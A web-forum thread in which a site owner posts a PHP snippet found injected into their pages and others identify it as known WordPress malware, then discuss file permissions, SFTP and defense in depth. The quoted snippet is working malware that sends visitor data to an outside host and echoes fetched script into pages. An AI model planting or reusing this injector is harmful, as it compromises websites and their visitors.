what is this code?

[lingo5]

<?php
#bbce85#
error_reporting(0); @ini_set('display_errors',0); $wp_jgm13 = @$_SERVER['HTTP_USER_AGENT']; if (( preg_match ('/Gecko|MSIE/i', $wp_jgm13) && !preg_match ('/bot/i', $wp_jgm13))){
$wp_jgm0913="http://"."web"."https".".com/"."web/?ip=".$_SERVER['REMOTE_ADDR']."&referer=".urlencode($_SERVER['HTTP_HOST'])."&ua=".urlencode($wp_jgm13);
if (function_exists('curl_init') && function_exists('curl_exec')) {$ch = curl_init(); curl_setopt ($ch, CURLOPT_URL,$wp_jgm0913); curl_setopt ($ch, CURLOPT_TIMEOUT, 20); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$wp_13jgm = curl_exec ($ch); curl_close($ch);} elseif (function_exists('file_get_contents') && @ini_get('allow_url_fopen')) {$wp_13jgm = @file_get_contents($wp_jgm0913);}
elseif (function_exists('fopen') && function_exists('stream_get_contents')) {$wp_13jgm=@stream_get_contents(@fopen($wp_jgm0913, "r"));}}
if (substr($wp_13jgm,1,3) === 'scr'){ echo $wp_13jgm; }
#/bbce85#
?>

I've found this piece of code in some of my pages and I didn't put it there?...please help me identify what it is. Thanks.

 

[Jacques1]

If you didn't put the code into the scripts, then it's malware. This particular snippet seems to be known Wordpress malware which loads content from an external URL and embeds it into your site.

 

But the details don't matter. Take your site down right now, grab somebody who understands system administration and carefully reinstall everything from the ground up, this time with proper security. There's something very, very wrong with your server when people can change your PHP scripts.

[lingo5]

thanks a lot Jacques1. Are you sure this is due to poor server security or could it be because this site is quite old and could be vulnerable to code injections ?

[scootstah]

This happens pretty often with Wordpress. You need to keep it updated.

 

If you're not using Wordpress, there are numerous things you could do wrong in your code to become vulnerable.

 

It could be a server vulnerability, or it could be a software vulnerability.

[Jacques1]

There may certainly be a vulnerability in your code, but the real issue is that your PHP scripts are writable. An application must never be able to change arbitrary files on your server, no matter how broken it is.

 

So before you jump to Wordpress-specific fixes, you should take care of basic server security:

• Are you using a plaintext protocol like FTP? Then you need to switch to SFTP or SCP.
• Do you use password-based authentication? Then generate a new long, random password with a password manager like KeePass. Also consider switching to public-key authentication.
• Check your file permissions and reduce them to the absolute minimum. PHP scripts only have to be readable (by the webserver), not writable and not executable.
• Check the security of your database. Never use the database superuser for applications, and make sure you have a strong password.

Those simple steps will prevent a lot of attacks. We won't be able to make Wordpress (or similar software) perfectly secure, but we can definitely ensure that an application vulnerability won't compromise our entire server.

[scootstah]

There may certainly be a vulnerability in your code, but the real issue is that your PHP scripts are writable. An application must never be able to change arbitrary files on your server, no matter how broken it is.

If there is a problem in the code that: lets you upload malicious files instead of say images, has LFI/RFI vulnerabilities, has eval(), etc, then you basically have access to the server itself. Even if Apache is unable to write to any other file except one vulnerable one, you could still potentially exploit something like a privilege escalation vulnerability on the server.

 

There's valid reasons to allow the application to write PHP files. Caching is a big part of that, as well as configuration management, etc. A vulnerability in systems like that would be bad news.

[Jacques1]

If there is a problem in the code that: lets you upload malicious files instead of say images, has LFI/RFI vulnerabilities, has eval(), etc, then you basically have access to the server itself. Even if Apache is unable to write to any other file except one vulnerable one, you could still potentially exploit something like a privilege escalation vulnerability on the server.

 

That's why every programmer/administrator in their right mind uses a defense-in-depth approach: You need to take care of the OS and the webserver and the applications and the database system etc.

 

Keeping your Wordpress up-to-date is a good start, but it's not enough.

 

 

 

There's valid reasons to allow the application to write PHP files. Caching is a big part of that, as well as configuration management, etc.

 

I don't care if there are valid reasons for giving Wordpress write access to PHP files. Considering the security record of this software, I wouldn't do it, especially when it's a private website which can easily be maintained by hand.

 

It's a different story for professional applications (which this thread isn't about). But even then you need a damn good reason for relaxing the read-only policy.

[scootstah]

That's why every programmer/administrator in their right mind uses a defense-in-depth approach: You need to take care of the OS and the webserver and the applications and the database system etc.

Every programmer/administrator in their right mind (hopefully) isn't using Wordpress.

 

You can (and should) take the proper precautions on the server-side, but if you have a vulnerability in the code that lets you drop to a shell, there's a good chance you're going to get pwned.

 

I don't care if there are valid reasons for giving Wordpress write access to PHP files. Considering the security record of this software, I wouldn't do it, especially when it's a private website which can easily be maintained by hand.

True, I guess I wasn't talking about Wordpress specifically anymore.

[Jacques1]

You can (and should) take the proper precautions on the server-side, but if you have a vulnerability in the code that lets you drop to a shell, there's a good chance you're going to get pwned.

 

No doubt about that.

 

So in case my previous reply wasn't clear enough: Both the server configuration and Wordpress need to be fixed. This includes all plug-ins, because a lot of vulnerabilities are in fact introduced through poorly written third-party additions.

Edited October 11, 2015 by Jacques1

[benanamen]

To properly secure WordPress, select the WordPress folder, then hold down the Shift key, now click Delete.

[lingo5]

But I'm not even using Wordpress ??!!....

[Jacques1]

That's a bit strange, but there's no rule saying that WP malware can only infect WP-based applications.

 

Anyway, all of the above still applies. If you've written the code yourself, replace “Update your application” with “Learn the basics of PHP security and fix your code accordingly”.

[lingo5]

many thanks to all of you !!!